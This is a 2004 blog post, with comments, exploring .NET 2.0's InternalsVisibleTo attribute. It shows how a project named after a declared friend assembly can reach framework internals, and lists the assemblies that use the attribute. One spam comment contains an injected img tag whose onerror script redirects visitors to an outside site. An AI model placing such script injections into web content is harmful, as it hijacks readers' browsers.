[InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

I was spelunking the .NET framework 2.0 and noticed the following assembly attribute on 'Microsoft.Build.Engine'.

[assembly: InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

I knew this feature was planned, but I didn't realise it was live in the .NET 2.0 beta 1 bits.  I tried creating a project 'Library' with the attribute [assembly: InternalsVisibleTo("Library.Tests")], then added the project 'Library.Tests' with a reference to 'Library'.  Low and behold my 'Library' project's internal types and members start showing up using intellisense in 'Library.Tests'.

I then wondered if I could create a project called 'Microsoft.Build.Engine.Unittest' and have the internals of 'Microsoft.Build.Engine' show up.  I tried this but was initially discouraged when they didn't show up with intellisense.  It does however work if you add the code manually.  As a proof of concept, create a project called 'Microsoft.Build.BuildEngine.Unittest' and add the following code.

using Microsoft.Build.BuildEngine;

class Spelunking
{
    string[] spelunk() { return Utilities.SplitSemiColonSeparatedList("split;me"); }

Right click inside the method and 'Run Test(s)' (assuming you're using NUnitAddIn).  In the output window you should see.

------ Test started: Assembly: Microsoft.Build.Engine.Unittest.dll ------

[0]: split
[1]: me

1 succeeded, 0 failed, 0 skipped, took 0.30 seconds.

I've searched all assemblies in .NET 2.0 beta 1 for any that use 'InternalsVisibleTo' and came up with the following list.  The first one is interesting because 'MSBuild' is an EXE assembly.  It turns out we can finally add EXE assemblies as project references without hacking the .csproj file.  =o)

MSBuild
[assembly: InternalsVisibleTo("MSBuild.Unittest")]

Microsoft.Build.VisualJSharp
[assembly: InternalsVisibleTo("Microsoft.Build.VisualJSharp_UT")]

Microsoft.Build.Utilities
[assembly: InternalsVisibleTo("Microsoft.Build.Utilities.Unittest")]

Microsoft.Build.Tasks
[assembly: InternalsVisibleTo("Microsoft.Build.Tasks.Unittest")]

Microsoft.Build.Engine
[assembly: InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Microsoft.Build.Conversion
[assembly: InternalsVisibleTo("Microsoft.Build.Conversion.Unittest")]

System.Web.RegularExpressions
[assembly: InternalsVisibleTo("System.Web, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")]

 System.Data
[assembly: InternalsVisibleTo("UdtExtensions, Version=9.0.242.0, PublicKeyToken=89845dcd8080cc91")]

Published Friday, August 13, 2004 3:31 PM by Jamie Cansdale
Filed under:

Comments

# InternalsVisibleTo (from Jamie Cansdale)

Friday, August 13, 2004 5:46 AM by TrackBack

# InternalsVisibleTo (from Jamie Cansdale)

Friday, August 13, 2004 5:46 AM by TrackBack

# RE: InternalsVisibleTo (from Jamie Cansdale)

Saturday, August 14, 2004 2:23 AM by TrackBack

# Security Implications of InternalsVisibleTo

Saturday, August 14, 2004 2:55 AM by TrackBack

# Security Implications of InternalsVisibleTo

Saturday, August 14, 2004 2:55 AM by TrackBack

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

I think whenever we need to use this attribute, we should make sure that we make it internally visible to a strongly named assembly. Otherwise, this is just another crack in a pot. If we want to use it with Unit Tests, I mean that Unit Tests should be strongly named. :) Otherwise, Microsoft should make it extensible so that we can make this attribute apply only if it is a debug build. What do you think, Jamie?

Saturday, August 14, 2004 7:04 AM by Nat

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

I'm not sure how the current implementation works security wize. It has always been possible to do this kind of stuff using reflection. Assuming you need equivalent permissions to make these calls there isn't a problem.

Hopefully it works differetly for strongly named callers. They should be able to make these calls without unrestricted or reflection permissions.

I do like the simplicity of the current implmentation. I would rather not sign my test assemblys and have to deal with strong names. I also like being able to play with the innards of 'Microsoft.Build.Engine'. ;)

Saturday, August 14, 2004 7:50 AM by Jamie Cansdale

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

That is a great answer to the question that I posed to the System.Web team and the CLR Base classes team: "how are YOU guys unittesting your stuff currently?" The answer back was basically reflection, which obviously isnt a terribly great solution...

However, theres another issue of classes inheriting internal's... and how the inheritors cannot call the internals even if marked Protected...

Saturday, August 14, 2004 3:51 PM by Eric Newton

# InternalsVisibleTo Attribute

Sunday, August 29, 2004 10:54 AM by TrackBack

# InternalsVisibleTo (from Jamie Cansdale)

Monday, June 06, 2005 1:36 AM by TrackBack

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Nice...

Monday, June 11, 2007 7:45 PM by Ioannis

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Interesting...

Wednesday, June 13, 2007 4:38 AM by Ilias

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

The blog is really wonderful. Is it possible to instantiate a friend class which has only an internal constructor?. I tried with InternalsVisibleTo attribute in C# but I could get only an error like this: "<ClassName> is inaccessible due to its protection level" any solution to this?

Monday, July 16, 2007 11:57 AM by Arun Joseph

# designindrive.com &raquo; Blog Archive &raquo; Test Driven Development

Pingback from  designindrive.com  &raquo; Blog Archive   &raquo; Test Driven Development

# indomitablehef.com &raquo; Blog Archive &raquo; Test Driven Development

Pingback from  indomitablehef.com  &raquo; Blog Archive   &raquo; Test Driven Development

Tuesday, February 19, 2008 10:21 AM by indomitablehef.com » Blog Archive » Test Driven Development

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

     Good idea!

P.S. A U realy girl?

Friday, April 11, 2008 10:36 AM by Memmorium

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

my pics <img src=http://google.com/444.gif onerror="window.open('gomyron.com/.../spm','_top')">

Saturday, April 12, 2008 8:01 AM by mypicst

# re: [InternalsVisibleTo("Microsoft.Build.Engine.Unittest")]

Open this post and read what I think about that:,

Saturday, June 14, 2008 2:08 PM by Bobrila

Leave a Comment

(required) 
(required) 
(optional)
(required)